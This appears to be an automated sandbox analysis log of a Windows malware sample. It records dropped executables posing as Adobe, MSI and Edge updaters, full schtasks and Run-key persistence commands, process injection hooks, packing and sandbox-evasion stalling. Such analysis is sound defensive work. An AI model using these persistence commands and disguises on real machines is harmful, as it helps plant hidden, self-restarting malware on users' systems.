Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe "C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Section loaded: apphelp.dll	Jump to behavior

Source: EdgeMS2.lnk.0.dr

LNK file: ..\..\..\..\..\..\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static file information: File size 3764472 > 1048576

Source: file.exe

Static PE information: Raw size of .vmp is bigger than: 0x100000 < 0x370a00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	Unpacked PE file: 7.2.zy4GXi5yvCrsiS0ulH8Z.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Unpacked PE file: 9.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Unpacked PE file: 11.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Unpacked PE file: 14.2.oobeldr.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe	Unpacked PE file: 21.2.hcMSmyGUCSEFc2FAKlzc.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Unpacked PE file: 22.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Unpacked PE file: 23.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Unpacked PE file: 24.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Unpacked PE file: 25.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Unpacked PE file: 27.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Unpacked PE file: 28.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Unpacked PE file: 29.2.EdgeMS2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BAB380 WriteProcessMemory,LoadLibraryA,GetProcAddress,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread,

0_2_00BAB380

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp

Source: file.exe	Static PE information: section name: .vmp
Source: file.exe	Static PE information: section name: .vmp
Source: file.exe	Static PE information: section name: .vmp
Source: l2[1].exe.0.dr	Static PE information: section name: .MPRESS1
Source: l2[1].exe.0.dr	Static PE information: section name: .MPRESS2
Source: zy4GXi5yvCrsiS0ulH8Z.exe.0.dr	Static PE information: section name: .MPRESS1
Source: zy4GXi5yvCrsiS0ulH8Z.exe.0.dr	Static PE information: section name: .MPRESS2
Source: AdobeUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS1
Source: AdobeUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS2
Source: MSIUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS1
Source: MSIUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS2
Source: EdgeMS2.exe.0.dr	Static PE information: section name: .MPRESS1
Source: EdgeMS2.exe.0.dr	Static PE information: section name: .MPRESS2
Source: k[1].exe.0.dr	Static PE information: section name: .MPRESS1
Source: k[1].exe.0.dr	Static PE information: section name: .MPRESS2
Source: hcMSmyGUCSEFc2FAKlzc.exe.0.dr	Static PE information: section name: .MPRESS1
Source: hcMSmyGUCSEFc2FAKlzc.exe.0.dr	Static PE information: section name: .MPRESS2
Source: AdobeUpdaterV2.exe0.0.dr	Static PE information: section name: .MPRESS1
Source: AdobeUpdaterV2.exe0.0.dr	Static PE information: section name: .MPRESS2
Source: MSIUpdaterV2.exe0.0.dr	Static PE information: section name: .MPRESS1
Source: MSIUpdaterV2.exe0.0.dr	Static PE information: section name: .MPRESS2
Source: EdgeMS2.exe0.0.dr	Static PE information: section name: .MPRESS1
Source: EdgeMS2.exe0.0.dr	Static PE information: section name: .MPRESS2
Source: oobeldr.exe.7.dr	Static PE information: section name: .MPRESS1
Source: oobeldr.exe.7.dr	Static PE information: section name: .MPRESS2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE42B3 push 21A73256h; iretd	0_2_00DE4329
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C96261 push cx; ret	0_2_00C96271
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFE7E9 push ecx; ret	0_2_00AFE7FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C72B21 push ecx; ret	0_2_00C72B34
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D56C98 push eax; iretd	0_2_00D56CE3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D78D67 push ds; retf	0_2_00D78D89
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DA0ED1 push es; retf	0_2_00DA0F93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CEB30A push edi; ret	0_2_00CEB317
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF55AC push cs; retf	0_2_00CF5577
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CEDCCE push ebp; ret	0_2_00CEDCDC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CEDC78 push ebp; ret	0_2_00CEDCDC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0DEC3 push ebp; ret	0_2_00B0DF05
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0716C245 push esi; ret	0_2_0716C24E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07145B83 push ecx; ret	0_2_07145B96
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	Code function: 7_2_006D50A5 push ebp; ret	7_2_00721C57

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe			Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26			Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 3580 base: 1630005 value: E9 2B BA 88 75	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 3580 base: 76EBBA30 value: E9 DA 45 77 8A	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 3580 base: 1640008 value: E9 8B 8E 8C 75	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 3580 base: 76F08E90 value: E9 80 71 73 8A	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 3580 base: 3250005 value: E9 8B 4D 82 72	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 3580 base: 75A74D90 value: E9 7A B2 7D 8D	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 3580 base: 3260005 value: E9 EB EB 82 72	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 3580 base: 75A8EBF0 value: E9 1A 14 7D 8D	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 3580 base: 3270005 value: E9 8B 8A BE 72	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 3580 base: 75E58A90 value: E9 7A 75 41 8D	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 3580 base: 3280005 value: E9 2B 02 C0 72	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 3580 base: 75E80230 value: E9 DA FD 3F 8D	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_07137890 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_07137890

Source: C:\Users\user\Desktop\file.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Contains functionality to implement multi-threaded time evasion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0712C230 CreateThread,Sleep, call eax

0_2_0712C230

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\file.exe

Stalling execution: Execution stalls by calling Sleep

graph_0-68034

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CBA212 rdtsc

0_2_00CBA212

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 8126	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 676	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 437	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Window / User API: threadDelayed 9995	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-67128

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-67111

Source: C:\Users\user\Desktop\file.exe

API coverage: 10.0 %

Source: C:\Users\user\Desktop\file.exe TID: 5576	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5512	Thread sleep time: -882000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5576	Thread sleep time: -8126000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5512	Thread sleep time: -2028000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5576	Thread sleep time: -437000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 6972	Thread sleep count: 9995 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 6972	Thread sleep time: -2248875s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

